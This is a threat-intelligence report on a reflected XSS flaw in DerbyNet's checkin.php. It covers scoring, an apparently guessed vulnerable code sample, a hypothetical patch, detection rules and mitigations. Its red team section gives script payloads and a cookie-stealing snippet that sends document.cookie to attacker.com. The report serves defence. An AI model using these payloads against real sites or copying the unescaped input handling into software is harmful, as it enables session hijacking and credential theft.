CVE-2024-30924

Executive Summary

CVE-2024-30924 is a Cross-Site Scripting (XSS) vulnerability identified in DerbyNet versions 9.0 and below. The flaw resides in the checkin.php component, allowing an unauthenticated attacker to inject arbitrary web scripts or HTML. When a victim user (e.g., an administrator) views the crafted input, the malicious script executes in their browser context, potentially leading to session hijacking, credential theft, or defacement. The vulnerability has a CVSS base score of 6.1 (Medium), with a public proof-of-concept available. No official patch has been released by the vendor, making this a high-priority issue for organizations using DerbyNet.

Supply Chain & Package Security

DerbyNet is a standalone PHP application, not distributed via NPM, PyPI, Go, or Ruby registries. The risk is limited to direct deployment of the vulnerable software.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: Required (victim must view the crafted page)
• Scope: Changed (impact may extend to other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is Medium due to the requirement for user interaction, but the lack of a patch and public exploit availability elevates the risk for unmitigated deployments.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the checkin.php component. The application fails to sanitize user-supplied input before reflecting it in the HTTP response. An attacker can craft a malicious URL containing JavaScript payloads. When a victim clicks the link, the script executes in the context of the DerbyNet application.

Root Cause: Insufficient input validation and output encoding in checkin.php. The application likely uses $_GET or $_POST parameters directly in the HTML response without proper escaping.

Attack Flow:

1. Attacker crafts a URL: http://target/checkin.php?name=<script>alert('XSS')</script>
2. Attacker sends the link to a victim (e.g., via phishing email).
3. Victim clicks the link while authenticated to DerbyNet.
4. The malicious script executes, stealing session cookies or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (checkin.php):

<?php
$name = $_GET['name'];
echo "Welcome, " . $name;
?>

Patched Code (hypothetical):

<?php
$name = htmlspecialchars($_GET['name'], ENT_QUOTES, 'UTF-8');
echo "Welcome, " . $name;
?>

The patched version uses htmlspecialchars() to encode special HTML characters, preventing script injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• DerbyNet v9.0 or below running on a local lab (e.g., Docker or VM).
• A web browser with developer tools.

Exploit Steps:

1. Identify the vulnerable parameter (e.g., name, id, action) in checkin.php.
2. Craft a payload: <script>alert(document.cookie)</script>
3. Send the URL to a victim: http://target/checkin.php?name=<script>alert(document.cookie)</script>
4. Observe the XSS execution.

Advanced Payload (Session Hijacking):

<script>
var img = new Image();
img.src = "http://attacker.com/steal?cookie=" + document.cookie;
</script>

Blue Team (Defensive)

Detection:

• Monitor web logs for suspicious parameters containing <script>, onerror, onload, or base64-encoded JavaScript.
• Use WAF rules to block common XSS patterns.

Hunting:

• Search for checkin.php in web server logs with unusual query strings.
• Look for outbound connections to unknown IPs from the DerbyNet server.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to /checkin.php with parameters containing <script> or javascript:.
  • Outbound connections to attacker-controlled domains (e.g., attacker.com).
• Host:
  • Unexpected JavaScript execution in browser console.
  • Modified session cookies or unauthorized admin actions.
• File:
  • No file-based IOCs; this is a reflected XSS.

Detection Engineering

YARA Rule

rule CVE_2024_30924_XSS_Checkin {
    meta:
        description = "Detects XSS attempts targeting DerbyNet checkin.php"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-30924"
    strings:
        $xss1 = /checkin\.php\?.*<script/i
        $xss2 = /checkin\.php\?.*onerror/i
        $xss3 = /checkin\.php\?.*onload/i
        $xss4 = /checkin\.php\?.*alert\(/i
    condition:
        any of them
}

Sigma Rule

title: DerbyNet checkin.php XSS Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts against DerbyNet checkin.php
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'checkin.php'
        cs-uri-query|re: 
            - '<script'
            - 'onerror'
            - 'onload'
            - 'alert('
    condition: selection
falsepositives:
    - Legitimate use of script tags in testing environments
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-30924 DerbyNet checkin.php XSS Attempt"; flow:to_server,established; content:"checkin.php"; http_uri; pcre:"/(<script|onerror|onload|alert\()/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the DerbyNet server from untrusted networks.
2. Implement a Web Application Firewall (WAF) rule to block XSS patterns in checkin.php.
3. Apply input validation and output encoding manually if source code access is available.

Long-Term Fix:

• Upgrade to a patched version when released by the vendor.
• If no patch is forthcoming, consider migrating to an alternative solution.

Workaround:

• Disable checkin.php if not essential, or restrict access via .htaccess:

<Files "checkin.php">
    Require all denied
</Files>

Valters IT Signature This report was generated by Valters IT Cyber Threat Intelligence Division. For questions, contact threatintel@valtersit.com.